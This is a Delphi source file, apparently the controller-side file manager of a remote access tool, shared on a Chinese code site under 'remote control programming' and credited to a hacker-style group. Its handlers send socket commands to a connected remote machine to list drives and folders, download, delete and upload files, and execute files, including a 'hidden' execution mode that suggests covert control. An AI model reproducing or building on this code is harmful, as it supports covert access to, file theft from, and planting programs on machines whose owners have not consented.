untFilemanager.pas
上传用户:sinothink
上传日期:2022-07-15
资源大小:459k
文件大小:7k
源码类别:

远程控制编程

开发平台:

Delphi

  1. {南域剑盟    www.98exe.com   上兴QQ:51992
  2.  声明:程序由南域剑盟98exe.com成员网上搜集,不承担技术及版权问题}
  3. unit untFilemanager;
  4. interface
  5. uses
  6.   Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  7.   Dialogs, ComCtrls, StdCtrls, Menus, Winsock, untCMDList, ImgList;
  8. type
  9.   TForm4 = class(TForm)
  10.     StatusBar1: TStatusBar;
  11.     ListView1: TListView;
  12.     ComboBox1: TComboBox;
  13.     Edit1: TEdit;
  14.     PopupMenu1: TPopupMenu;
  15.     Download1: TMenuItem;
  16.     Execute1: TMenuItem;
  17.     Delete1: TMenuItem;
  18.     N1: TMenuItem;
  19.     Refresh1: TMenuItem;
  20.     Button1: TButton;
  21.     ImageList1: TImageList;
  22.     Visible1: TMenuItem;
  23.     Hidden1: TMenuItem;
  24.     Ipload1: TMenuItem;
  25.     OpenDialog1: TOpenDialog;
  26.     procedure ComboBox1Change(Sender: TObject);
  27.     procedure Refresh1Click(Sender: TObject);
  28.     procedure FormClose(Sender: TObject; var Action: TCloseAction);
  29.     procedure Button1Click(Sender: TObject);
  30.     procedure ListView1DblClick(Sender: TObject);
  31.     procedure Download1Click(Sender: TObject);
  32.     procedure Delete1Click(Sender: TObject);
  33.     procedure Visible1Click(Sender: TObject);
  34.     procedure Hidden1Click(Sender: TObject);
  35.     procedure Ipload1Click(Sender: TObject);
  36.   private
  37.     { Private declarations }
  38.   public
  39.     { Public declarations }
  40.   end;
  41. var
  42.   Form4: TForm4;
  43.   Sock : TSocket;
  44.   Data : String;
  45. implementation
  46. {$R *.dfm}
  47. procedure TForm4.ComboBox1Change(Sender: TObject);
  48. begin
  49.   ListView1.Items.Clear;
  50.   Data := IntToStr(C_REQUESTLIST)+' '+ComboBox1.Text+#10;
  51.   Sock := StrToInt(StatusBar1.Panels[0].Text);
  52.   If (Sock > 0) Then
  53.     Send(Sock, Data[1], Length(Data), 0);
  54.   Data := IntToStr(C_CURRENTPATH)+' 1'#10;
  55.   If (Sock > 0) Then
  56.     Send(Sock, Data[1], Length(Data), 0);
  57. end;
  58. procedure TForm4.Refresh1Click(Sender: TObject);
  59. begin
  60.   If (ListView1.ItemIndex = -1) Then Exit;
  61.   ListView1.Items.Clear;
  62.   Data := IntToStr(C_REQUESTLIST)+' '+Edit1.Text+#10;
  63.   Sock := StrToInt(StatusBar1.Panels[0].Text);
  64.   If (Sock > 0) Then
  65.     Send(Sock, Data[1], Length(Data), 0);
  66.   Data := IntToStr(C_CURRENTPATH)+' 1'#10;
  67.   If (Sock > 0) Then
  68.     Send(Sock, Data[1], Length(Data), 0);
  69. end;
  70. procedure TForm4.FormClose(Sender: TObject; var Action: TCloseAction);
  71. begin
  72.   StatusBar1.Panels[0].Text := '0';
  73. end;
  74. procedure TForm4.Button1Click(Sender: TObject);
  75. begin
  76.   ListView1.Items.Clear;
  77.   ComboBox1.Items.Clear;
  78.   Data := IntToStr(C_REQUESTDRIVE)+' 1'#10;
  79.   Sock := StrToInt(StatusBar1.Panels[0].Text);
  80.   If (Sock > 0) Then
  81.     Send(Sock, Data[1], Length(Data), 0);
  82.   Data := IntToStr(C_CURRENTPATH)+' 1'#10;
  83.   If (Sock > 0) Then
  84.     Send(Sock, Data[1], Length(Data), 0);
  85. end;
  86. procedure TForm4.ListView1DblClick(Sender: TObject);
  87. begin
  88.   Sock := StrToInt(StatusBar1.Panels[0].Text);
  89.   If (ListView1.ItemIndex > -1) Then
  90.     If (ListView1.ItemFocused.SubItems[1] = 'DIR') Then
  91.     Begin
  92.       Data := IntToStr(C_REQUESTLIST)+' '+Edit1.Text+ListView1.ItemFocused.Caption+#10;
  93.       ListView1.Items.Clear;
  94.       Sock := StrToInt(StatusBar1.Panels[0].Text);
  95.       If (Sock > 0) Then
  96.         Send(Sock, Data[1], Length(Data), 0);
  97.       Data := IntToStr(C_CURRENTPATH)+' 1'#10;
  98.       If (Sock > 0) Then
  99.         Send(Sock, Data[1], Length(Data), 0);
  100.     End Else
  101.     If (ListView1.ItemFocused.Caption = '..') And
  102.        (ListView1.ItemFocused.SubItems[1] = 'Go Back') Then
  103.     Begin
  104.       ListView1.Items.Clear;
  105.       Data := ExtractFilePath(Copy(Edit1.Text, 1, Length(Edit1.Text)-1));
  106.       Data := IntToStr(C_REQUESTLIST)+' '+Data+#10;
  107.       Sock := StrToInt(StatusBar1.Panels[0].Text);
  108.       If (Sock > 0) Then
  109.         Send(Sock, Data[1], Length(Data), 0);
  110.       Data := IntToStr(C_CURRENTPATH)+' 1'#10;
  111.       If (Sock > 0) Then
  112.         Send(Sock, Data[1], Length(Data), 0);
  113.     End Else
  114.     Begin
  115.       Data := IntToStr(C_GETFILE) + ' ' + Edit1.Text + ListView1.ItemFocused.Caption +#10;
  116.       If (Sock > 0) Then
  117.         Send(Sock, Data[1], Length(Data), 0);
  118.     End;
  119. end;
  120. procedure TForm4.Download1Click(Sender: TObject);
  121. begin
  122.   If (ListView1.ItemIndex = -1) Then Exit;
  123.   If (ListView1.ItemFocused.SubItems[1] = 'DIR') Then
  124.   Begin
  125.     MessageBox(0, 'You cant download whole directories.', 'Error', mb_ok or mb_iconhand);
  126.     Exit;
  127.   End;
  128.   Sock := StrToInt(StatusBar1.Panels[0].Text);
  129.   Data := IntToStr(C_GETFILE) + ' ' + Edit1.Text + ListView1.ItemFocused.Caption +#10;
  130.   If (Sock > 0) Then
  131.     Send(Sock, Data[1], Length(Data), 0);
  132. end;
  133. procedure TForm4.Delete1Click(Sender: TObject);
  134. begin
  135.   If (ListView1.ItemIndex = -1) Then Exit;
  136.   If (ListView1.ItemFocused.SubItems[1] = 'DIR') Then
  137.   Begin
  138.     MessageBox(0, 'You cant delete whole directories.', 'Error', mb_ok or mb_iconhand);
  139.     Exit;
  140.   End;
  141.   Sock := StrToInt(StatusBar1.Panels[0].Text);
  142.   Data := IntToStr(C_DELETE) + ' ' + Edit1.Text + ListView1.ItemFocused.Caption +#10;
  143.   If (Sock > 0) Then
  144.     Send(Sock, Data[1], Length(Data), 0);
  145.   Refresh1.Click;
  146. end;
  147. procedure TForm4.Visible1Click(Sender: TObject);
  148. begin
  149.   If (ListView1.ItemIndex = -1) Then Exit;
  150.   If (ListView1.ItemFocused.SubItems[1] = 'DIR') Then
  151.   Begin
  152.     MessageBox(0, 'You cant execute whole directories.', 'Error', mb_ok or mb_iconhand);
  153.     Exit;
  154.   End;
  155.   Sock := StrToInt(StatusBar1.Panels[0].Text);
  156.   Data := IntToStr(C_EXECUTE) + ' 1 ' + Edit1.Text + ListView1.ItemFocused.Caption +#10;
  157.   If (Sock > 0) Then
  158.     Send(Sock, Data[1], Length(Data), 0);
  159. end;
  160. procedure TForm4.Hidden1Click(Sender: TObject);
  161. begin
  162.   If (ListView1.ItemIndex = -1) Then Exit;
  163.   If (ListView1.ItemFocused.SubItems[1] = 'DIR') Then
  164.   Begin
  165.     MessageBox(0, 'You cant execute whole directories.', 'Error', mb_ok or mb_iconhand);
  166.     Exit;
  167.   End;  
  168.   Sock := StrToInt(StatusBar1.Panels[0].Text);
  169.   Data := IntToStr(C_EXECUTE) + ' 0 ' + Edit1.Text + ListView1.ItemFocused.Caption +#10;
  170.   If (Sock > 0) Then
  171.     Send(Sock, Data[1], Length(Data), 0);
  172. end;
  173. Function GetFileSize(FileName: String): Int64;
  174. Var
  175.   H     :THandle;
  176.   Data  :TWIN32FindData;
  177. Begin
  178.   Result := -1;
  179.   H := FindFirstFile(pChar(FileName), Data);
  180.   If (H <> INVALID_HANDLE_VALUE) Then
  181.   Begin
  182.     Windows.FindClose(H);
  183.     Result := Int64(Data.nFileSizeHigh) SHL 32 + Data.nFileSizeLow;
  184.   End;
  185. End;
  186. procedure TForm4.Ipload1Click(Sender: TObject);
  187. begin
  188.   If OpenDialog1.Execute Then
  189.   Begin
  190.     Sock := StrToInt(StatusBar1.Panels[0].Text);
  191.     Data := IntToStr(C_PUTFILE) + ' ' +
  192.             IntToStr(GetFileSize(OpenDialog1.FileName)) + ' ' +
  193.             Edit1.Text + ExtractFileName(OpenDialog1.FileName) + #1' ' +
  194.             OpenDialog1.FileName + #10;
  195.     If (Sock > 0) Then
  196.       Send(Sock, Data[1], Length(Data), 0);
  197.   End;
  198. end;
  199. end.